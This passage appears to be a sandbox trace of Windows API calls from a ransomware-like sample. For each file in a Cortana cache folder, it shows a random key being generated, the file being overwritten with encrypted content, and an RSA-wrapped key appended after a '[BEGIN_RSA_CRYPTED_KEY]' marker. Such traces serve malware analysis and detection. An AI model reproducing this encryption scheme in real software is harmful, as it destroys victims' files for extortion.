pszString="UDqEkQkzXwfTWmKLTtYe/6NcW1kx+KiaBFKYjrF/r+CQrKIoLCY/hhCDTmqrYo5f\nLNCIoGE6+ZzjWADPMywBy5RLp7QYQRom3U59NvZRrVvikMKVVZdtIycJOPfskAgB\nsPs5nFsFSd7rZHuKnpKDZrS4Iy5GXaYuQIWy1/UMOkEy0l5qicTbrMXcyH/EgHEg\nxNyEWNLtuZMirOpKq0vPqJbfg/ldTMH9djk78fo7O5QOtup3R7TN0ypZ7INGqg/W\nloJlwFBIqKkYS/DY2MXhmSf5Fjo/koIHKIZW8u+JQgvIgHK6YBS+kfctHvtmkmkk\nakGeG20alEtSMoWehavUeQ==\n", pcchString=0x2e3f9a8) returned 1 [0246.070] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.070] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.070] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.070] CloseHandle (hObject=0x1afc) returned 1 [0246.071] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.071] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AEA45D7D-8825-46DB-820C-29097A667BA7}", dwFileAttributes=0x80) returned 1 [0246.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AEA45D7D-8825-46DB-820C-29097A667BA7}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{aea45d7d-8825-46db-820c-29097a667ba7}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.072] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.072] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.073] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.074] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.074] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.074] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.074] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.074] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.074] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.074] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.074] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Q+BkO9lRjljINwRH7Wpub3wYsoAjRiw95XBXF3ECR4VzF54bT6wiU3lcf6QtvKqG\nFNI8zlQQDrfgGxp7oz7FaeGi/K7YwZH1CCt3++pI/AESJRytGmPqCf2mf/XNryb6\nrecmbtJVrw9IQVp2kHXHoS9uYXBX+yqpXJZ+RxKbNOhNtUl8eEpq+d5+pzLKOE8S\nwxS1aoaxNKK86OHt+Vu6LSBFdH14XqjavQaNYoKBOaYICub6rjh1NV2+WJvF+bOV\nSffY3ddvxVn/JidfKTK13PgE9IRsKZzjzZTiRUESCNTS2tChHb91KYq4N94k+mxB\nJHUkvLkPImQvSOaeO5hHKg==\n", pcchString=0x2e3f9a8) returned 1 [0246.074] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.074] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.074] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.074] CloseHandle (hObject=0x1afc) returned 1 [0246.077] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.077] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC7B9DE5-2BB7-4D1F-8D6B-195490D0C9EA}", dwFileAttributes=0x80) returned 1 [0246.077] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC7B9DE5-2BB7-4D1F-8D6B-195490D0C9EA}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ac7b9de5-2bb7-4d1f-8d6b-195490d0c9ea}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.078] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.078] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.079] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.079] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.079] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.080] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.080] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uOZMTP+QlddPDmUyicsrLtzzIsPFcPpCHOLvYKGVPVMh9+LKT/VFOo/v/UkKZHSL\nijC5T9iKad//la/nblOW/fidF/D6emLGYnO01AY9j12dHZgt/QMOC3saNmq4vaWq\nwUP0dprKAtipPdYWRrrxI/uUhCANjNmeL/CnfpaG18opMPlCPAyyPrSfVdA0AfZ0\nhSJtne/0t3hX9DleqsT1/QkpWmzE3/lfTFOv1O9MypIhKqUEzyOJ3/YQtNCqKa3y\nkMx5ygJTP8K5jWsF9Jd516zaqidRm9P1N+t/V4j75VLoD8VyVdjRYJUZKjw+Lxda\nDGqWlwJGRiBP49SRiYDEWQ==\n", pcchString=0x2e3f9a8) returned 1 [0246.080] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.080] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.080] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.080] CloseHandle (hObject=0x1afc) returned 1 [0246.082] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.082] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC0F2DEC-6E17-4771-9780-2942696DCB74}", dwFileAttributes=0x80) returned 1 [0246.082] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{AC0F2DEC-6E17-4771-9780-2942696DCB74}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{ac0f2dec-6e17-4771-9780-2942696dcb74}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.083] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.083] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.084] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.084] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.084] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.084] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.084] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.085] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.085] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.085] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.085] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="/RNZrzZjzYj5xKTFDDtB0NGHNZyWv2Bwa6iwVF9aNczzxHHZrVlghTUDW2Bk3ILL\nOUEdld4KV5w+FO1JR8P+lOb/Zob9dTDgRHyyPe47PaDj4rXIXsVv0kiACxgSj561\nfxa6SVlNuSrtFaJ6HuY9O4iREQJjxpoxxvYujwSxrrjAY2XbpGmPpEWsCkx/7ax/\nnyPZvj/SuLp73oB26w2VDiDbGOmbOgNFRmPNbBM0nR/g+KcYoE/im3YiLulLXKhY\nQ02oZ8ExiHXYV4mgE2ewGt/iCQPfwxX+Yua3pnAQgtBAeDWYPrn3cXbYIX4gdvil\nNSWXTV5HKKqTmF3zvP+BKw==\n", pcchString=0x2e3f9a8) returned 1 [0246.085] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.085] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.085] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.085] CloseHandle (hObject=0x1afc) returned 1 [0246.087] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.087] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A8C02D67-E326-46F5-BCFE-ED755438157B}", dwFileAttributes=0x80) returned 1 [0246.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A8C02D67-E326-46F5-BCFE-ED755438157B}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a8c02d67-e326-46f5-bcfe-ed755438157b}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.089] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.089] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.171] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.171] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.171] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.171] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.171] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.171] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.171] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.172] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.172] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="01sQr9vbfUnlrF71qx9WpJA/4U7VFCWdQSs5GA4UGzIViwUIFqA7FOzG/0SoR2bX\nJlL4S93oClhkt39MImWigVlsORUINnwgZaiPduYK5S/+IvLXEJ66LtZj+bYiP3oG\nGVh7Pfi8HApISKF1zrmwvIUW9Gsw9QDjNRfLlfk8AfCRCZzSQbill0cj8a3NS6IY\noriGZ9QUeXLAqdhWIheD4mnBL7FNwzG4RcjKtDaPeRlLUh29J99XmkfGBgoAovg4\nlGgydP1hMkLXsvILPXmC05d+yslwD2v0bq4fCvSBaB0RIElDTw0ccUUJ/ZKa6KrI\nnu+6MnJZ71RD7dzcvziwVA==\n", pcchString=0x2e3f9a8) returned 1 [0246.172] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.172] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.172] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.172] CloseHandle (hObject=0x1afc) returned 1 [0246.173] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.174] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A75F28ED-CBC6-4878-A664-EDD6CA16BC9D}", dwFileAttributes=0x80) returned 1 [0246.174] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A75F28ED-CBC6-4878-A664-EDD6CA16BC9D}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a75f28ed-cbc6-4878-a664-edd6ca16bc9d}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.175] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.175] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.202] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.202] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.203] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.203] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.203] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.203] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Lc8UENxd3shcqzGgYXlx5vx79JjjT3S0Dt5LPgQNwwmI/kIGFisPiukB3UBEdlgo\nGwN8unGCEfsZjeMutGoGE2O0Uowto0iAw/x15hi5oSv0Tpodwy5Nuovj5xKO77Qd\nbw0qJkmarALXs2w7s7OZgpgNSHI03ndFAsVQL1FzsGspirPWqEUaqusKKYRwv6m+\n5pY7/rvm9Fz1+14fSBFhd1+JN1FzmbPm0xu1M8fir4mWAj9KkZd0/h+LEXy9316o\nbpxd11wldxBDegUhyKjFPNxV48qCIG3I2Bq2Cytk6ALCNETOLu60BtaImRh9MWcp\nrg3vXkodjeGjCKb529THQA==\n", pcchString=0x2e3f9a8) returned 1 [0246.203] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.204] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.204] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.204] CloseHandle (hObject=0x1afc) returned 1 [0246.205] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.205] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A60A84F5-D627-49A9-A1E6-F2C827E0FA7C}", dwFileAttributes=0x80) returned 1 [0246.206] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{A60A84F5-D627-49A9-A1E6-F2C827E0FA7C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{a60a84f5-d627-49a9-a1e6-f2c827e0fa7c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.206] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.206] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.207] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.207] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.208] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.208] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.208] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.208] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.208] CryptEncrypt (in: hKey=0x5a2690, 